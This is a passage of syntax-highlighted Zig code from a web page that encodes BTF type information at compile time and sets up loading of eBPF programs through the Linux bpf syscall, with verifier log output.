</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@compileError</span>(<span style="color:#79a8ff">&#34;enum size must be 1/2/4/8 bytes&#34;</span>),
</span></span><span style="display:flex;"><span>                };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> info.fields.len,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">if</span> (enum_size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">8</span>) .enum64 <span style="color:#b6a0ff">else</span> .@<span style="color:#79a8ff">&#34;enum&#34;</span>,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> info.signedness,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .size <span style="color:#00d3d0">=</span> enum_size },
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (info.fields) <span style="color:#00d3d0">|</span>f<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">if</span> (enum_size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">8</span>) {
</span></span><span style="display:flex;"><span>                        ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Enum64{
</span></span><span style="display:flex;"><span>                            .name_off <span style="color:#00d3d0">=</span> ret.strings.len,
</span></span><span style="display:flex;"><span>                            .val_lo32 <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(f.value)))),
</span></span><span style="display:flex;"><span>                            .val_hi32 <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(f.value <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>)))),
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>                        ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Enum{
</span></span><span style="display:flex;"><span>                            .name_off <span style="color:#00d3d0">=</span> ret.strings.len,
</span></span><span style="display:flex;"><span>                            .val <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@bitCast</span>(f.value),
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                    ret.strings <span style="color:#00d3d0">=</span> ret.strings <span style="color:#00d3d0">++</span> f.name;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .pointer <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>info<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">if</span> (info.child <span style="color:#00d3d0">==</span> BPFContext <span style="color:#b6a0ff">and</span> BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>ret, BPFContext) <span style="color:#00d3d0">==</span> <span style="color:#00bcff">null</span>) {
</span></span><span style="display:flex;"><span>                    ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>                        std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                            .name_off <span style="color:#00d3d0">=</span> ret.strings.len,
</span></span><span style="display:flex;"><span>                            .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                                .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                                .kind <span style="color:#00d3d0">=</span> .decl_tag,
</span></span><span style="display:flex;"><span>                                .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                            },
</span></span><span style="display:flex;"><span>                            .size_type <span style="color:#00d3d0">=</span> .{ .typ <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span> },
</span></span><span style="display:flex;"><span>                        }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.DeclTag{
</span></span><span style="display:flex;"><span>                        .component_idx <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                        .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                            .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                            .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                            .kind <span style="color:#00d3d0">=</span> .ptr,
</span></span><span style="display:flex;"><span>                            .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                            .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                        },
</span></span><span style="display:flex;"><span>                        .size_type <span style="color:#00d3d0">=</span> .{ .typ <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span> },
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                    ret.strings <span style="color:#00d3d0">=</span> ret.strings <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34;arg:ctx</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>;
</span></span><span style="display:flex;"><span>                    ret.type_map <span style="color:#00d3d0">=</span> ret.type_map <span style="color:#00d3d0">++</span> .{.{ <span style="color:#f78fe7">@typeName</span>(<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">void</span>), ret.type_id <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span> }};
</span></span><span style="display:flex;"><span>                } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">comptime</span> <span style="color:#b6a0ff">var</span> _ctx <span style="color:#00d3d0">=</span> ret;
</span></span><span style="display:flex;"><span>                    _ctx.btf_bytes <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>.{};
</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">const</span> new <span style="color:#00d3d0">=</span> <span style="color:#feacd0">typeToBtfContext</span>(info.child, _ctx);
</span></span><span style="display:flex;"><span>                    _ctx.btf_bytes <span style="color:#00d3d0">=</span> _ctx.btf_bytes <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>                        std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                            .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                            .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                                .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                                .kind <span style="color:#00d3d0">=</span> .ptr,
</span></span><span style="display:flex;"><span>                                .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                                .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                            },
</span></span><span style="display:flex;"><span>                            .size_type <span style="color:#00d3d0">=</span> .{ .typ <span style="color:#00d3d0">=</span> BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>new, info.child).<span style="color:#00d3d0">?</span> },
</span></span><span style="display:flex;"><span>                        }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.DeclTag{
</span></span><span style="display:flex;"><span>                        .component_idx <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    }) <span style="color:#00d3d0">++</span> new.btf_bytes;
</span></span><span style="display:flex;"><span>                    _ctx.type_id <span style="color:#00d3d0">=</span> new.type_id;
</span></span><span style="display:flex;"><span>                    _ctx.strings <span style="color:#00d3d0">=</span> new.strings;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                    ret <span style="color:#00d3d0">=</span> _ctx;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .@<span style="color:#79a8ff">&#34;fn&#34;</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>info<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">const</span> cc<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u16</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (info.calling_convention) {
</span></span><span style="display:flex;"><span>                    .auto <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@intFromEnum</span>(BTF_FUNC.STATIC),
</span></span><span style="display:flex;"><span>                    .naked <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@intFromEnum</span>(BTF_FUNC.GLOBAL),
</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@compileError</span>(<span style="color:#79a8ff">&#34;only auto and naked calling conventions are allowed&#34;</span>),
</span></span><span style="display:flex;"><span>                };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">comptime</span> <span style="color:#b6a0ff">var</span> _ctx <span style="color:#00d3d0">=</span> ret;
</span></span><span style="display:flex;"><span>                _ctx.btf_bytes <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>.{};
</span></span><span style="display:flex;"><span>                _ctx.type_id <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>                _ctx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">typeToBtfContext</span>(info.return_type.<span style="color:#00d3d0">?</span>, _ctx);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> _ctx.strings.len,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> cc,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> .func,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .typ <span style="color:#00d3d0">=</span> ret.type_id },
</span></span><span style="display:flex;"><span>                }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> info.params.len,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> .func_proto,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .typ <span style="color:#00d3d0">=</span> BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>_ctx, info.return_type.<span style="color:#00d3d0">?</span>).<span style="color:#00d3d0">?</span> },
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>                _ctx.strings <span style="color:#00d3d0">=</span> _ctx.strings <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34;foo</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (info.params) <span style="color:#00d3d0">|</span>p<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#b6a0ff">if</span> (p.<span style="color:#6ae4b9">type</span>) <span style="color:#00d3d0">|</span>t<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                        _ctx.type_id <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>                        _ctx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">typeToBtfContext</span>(t, _ctx);
</span></span><span style="display:flex;"><span>                        _ctx.type_id <span style="color:#00d3d0">-=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>                        ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Param{
</span></span><span style="display:flex;"><span>                            .name_off <span style="color:#00d3d0">=</span> _ctx.strings.len,
</span></span><span style="display:flex;"><span>                            .typ <span style="color:#00d3d0">=</span> BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>_ctx, t).<span style="color:#00d3d0">?</span>,
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                        _ctx.strings <span style="color:#00d3d0">=</span> _ctx.strings <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34;foo</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>;
</span></span><span style="display:flex;"><span>                    } <span style="color:#b6a0ff">else</span> <span style="color:#f78fe7">@compileError</span>(<span style="color:#79a8ff">&#34;param type cannot be null&#34;</span>);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> _ctx.btf_bytes;
</span></span><span style="display:flex;"><span>                ret.type_id <span style="color:#00d3d0">=</span> _ctx.type_id;
</span></span><span style="display:flex;"><span>                ret.strings <span style="color:#00d3d0">=</span> _ctx.strings;
</span></span><span style="display:flex;"><span>                ret.type_map <span style="color:#00d3d0">=</span> _ctx.type_map;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .array, .@<span style="color:#79a8ff">&#34;struct&#34;</span>, .@<span style="color:#79a8ff">&#34;union&#34;</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@compileError</span>(<span style="color:#79a8ff">&#34;unimplemented&#34;</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@compileError</span>(<span style="color:#f78fe7">@typeName</span>(T) <span style="color:#00d3d0">++</span> <span style="color:#79a8ff">&#34; is unimplemented or unsupported&#34;</span>),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> ret;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">progLoadWithBtf</span>(prog_type<span style="color:#00d3d0">:</span> BPF.ProgType, progs<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> []<span style="color:#b6a0ff">const</span> BPF.Insn, <span style="color:#b6a0ff">comptime</span> funcs<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">type</span>) <span style="color:#00d3d0">!</span>posix.fd_t {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (funcs.len <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">32</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@compileError</span>(<span style="color:#79a8ff">&#34;32 arguments max are supported&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> <span style="color:#b6a0ff">var</span> ctx <span style="color:#00d3d0">=</span> BTFContext{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> <span style="color:#b6a0ff">var</span> func_type_ids<span style="color:#00d3d0">:</span> [funcs.len]<span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (funcs, <span style="color:#00d3d0">&amp;</span>func_type_ids) <span style="color:#00d3d0">|</span>f, <span style="color:#00d3d0">*</span>ft<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        ctx <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> <span style="color:#feacd0">typeToBtfContext</span>(f, ctx);
</span></span><span style="display:flex;"><span>        ctx.type_id <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>        ft.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>ctx, f).<span style="color:#00d3d0">?</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> btf <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Header{
</span></span><span style="display:flex;"><span>        .magic <span style="color:#00d3d0">=</span> BPF.btf.magic,
</span></span><span style="display:flex;"><span>        .version <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>        .flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .hdr_len <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(BPF.btf.Header),
</span></span><span style="display:flex;"><span>        .type_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .type_len <span style="color:#00d3d0">=</span> ctx.btf_bytes.len,
</span></span><span style="display:flex;"><span>        .str_off <span style="color:#00d3d0">=</span> ctx.btf_bytes.len,
</span></span><span style="display:flex;"><span>        .str_len <span style="color:#00d3d0">=</span> ctx.strings.len,
</span></span><span style="display:flex;"><span>    }) <span style="color:#00d3d0">++</span> ctx.btf_bytes <span style="color:#00d3d0">++</span> ctx.strings;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> btf_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;BTF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>btf_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .btf_load <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.BtfLoadAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    attr.btf_load.btf <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(btf);
</span></span><span style="display:flex;"><span>    attr.btf_load.btf_size <span style="color:#00d3d0">=</span> btf.len;
</span></span><span style="display:flex;"><span>    attr.btf_load.btf_log_buf <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>btf_log);
</span></span><span style="display:flex;"><span>    attr.btf_load.btf_log_size <span style="color:#00d3d0">=</span> btf_log.len;
</span></span><span style="display:flex;"><span>    attr.btf_load.btf_log_level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> rc <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">bpf</span>(.btf_load, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.BtfLoadAttr));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> btf_fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(rc)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@as</span>(posix.fd_t, <span style="color:#f78fe7">@intCast</span>(rc)),
</span></span><span style="display:flex;"><span>        .ACCES <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.UnsafeProgram,
</span></span><span style="display:flex;"><span>        .FAULT <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>        .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.InvalidProgram,
</span></span><span style="display:flex;"><span>        .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> func_info<span style="color:#00d3d0">:</span> [funcs.len]bpf_func_info <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> insns<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">4096</span>]BPF.Insn <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>func_info, func_type_ids, progs) <span style="color:#00d3d0">|*</span>fi, ft, p<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        fi.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> .{ .insn_off <span style="color:#00d3d0">=</span> offset, .type_id <span style="color:#00d3d0">=</span> ft };
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(insns[offset..][<span style="color:#00bcff">0</span>..p.len], p);
</span></span><span style="display:flex;"><span>        offset <span style="color:#00d3d0">+=</span> <span style="color:#f78fe7">@intCast</span>(p.len);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> license <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;GPL v2&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kernel_version <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bpf_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">errdefer</span> std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>bpf_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .prog_load <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.ProgLoadAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr.prog_load.prog_type <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(prog_type);
</span></span><span style="display:flex;"><span>    attr.prog_load.insns <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>insns);
</span></span><span style="display:flex;"><span>    attr.prog_load.insn_cnt <span style="color:#00d3d0">=</span> offset;
</span></span><span style="display:flex;"><span>    attr.prog_load.license <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(license.ptr);
</span></span><span style="display:flex;"><span>    attr.prog_load.kern_version <span style="color:#00d3d0">=</span> kernel_version;
</span></span><span style="display:flex;"><span>    attr.prog_load.prog_flags <span style="color:#00d3d0">=</span> flags;
</span></span><span style="display:flex;"><span>    attr.prog_load.log_buf <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>bpf_log);
